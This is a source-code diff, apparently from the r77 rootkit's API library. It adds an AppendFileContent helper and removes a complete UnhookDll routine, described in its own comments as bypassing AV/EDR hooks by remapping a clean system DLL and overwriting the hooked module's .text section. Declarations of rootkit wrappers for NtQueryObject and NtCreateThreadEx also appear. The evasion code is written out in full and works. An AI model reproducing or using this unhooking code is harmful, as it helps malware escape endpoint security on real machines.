CloseHandle(file); + } + + return result; +} BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath) { BOOL result = FALSE; @@ -986,69 +1000,6 @@ DWORD RvaToOffset(LPBYTE image, DWORD rva) return 0; } } -VOID UnhookDll(LPCWSTR name) -{ - if (name) - { - WCHAR path[MAX_PATH + 1]; - if (Is64BitOperatingSystem() && BITNESS(32)) StrCpyW(path, L"C:\\Windows\\SysWOW64\\"); - else StrCpyW(path, L"C:\\Windows\\System32\\"); - - StrCatW(path, name); - - // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions. - HMODULE dll = GetModuleHandleW(name); - if (dll) - { - MODULEINFO moduleInfo; - i_memset(&moduleInfo, 0, sizeof(MODULEINFO)); - - if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO))) - { - // Retrieve a clean copy of the DLL file. - HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); - if (dllFile != INVALID_HANDLE_VALUE) - { - // Map the clean DLL into memory - HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); - if (dllMapping) - { - LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0); - if (dllMappedFile) - { - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew); - - for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) - { - PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER)); - - // Find the .text section of the hooked DLL and overwrite it with the original DLL section - if (!StrCmpIA((LPCSTR)sectionHeader->Name, ".text")) - { - LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress); - DWORD virtualSize = sectionHeader->Misc.VirtualSize; - - DWORD oldProtect; - VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect); - i_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize); - VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect); - - break; - } - } - } - - CloseHandle(dllMapping); - } - - CloseHandle(dllFile); - } - } - - FreeLibrary(dll); - } - } -} NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength) { diff --git a/r77api/r77win.h b/r77api/r77win.h index 2d04478..c9bddc2 100644 --- a/r77api/r77win.h +++ b/r77api/r77win.h @@ -189,6 +189,17 @@ BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length); /// BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size); /// +/// Writes a buffer to the end of an existing file. If the file does not exist, yet, the file will be created. +/// +/// The path to the file to append to. +/// A buffer to write to the file. +/// The number of bytes to write. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL AppendFileContent(LPCWSTR path, LPBYTE data, DWORD size); +/// /// Creates a file with a random filename and a given extension in the temp directory and writes a given buffer to it. /// /// A buffer to write to the file. @@ -297,11 +308,6 @@ DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName); /// The file offset converted from the specified RVA; or 0, if this function fails. /// DWORD RvaToOffset(LPBYTE image, DWORD rva); -/// -/// Unhooks a DLL by replacing the .text section with the original DLL section. -/// -/// The name of the DLL to unhook. -VOID UnhookDll(LPCWSTR name); NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); NTSTATUS NTAPI R77_NtCreateThreadEx(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer);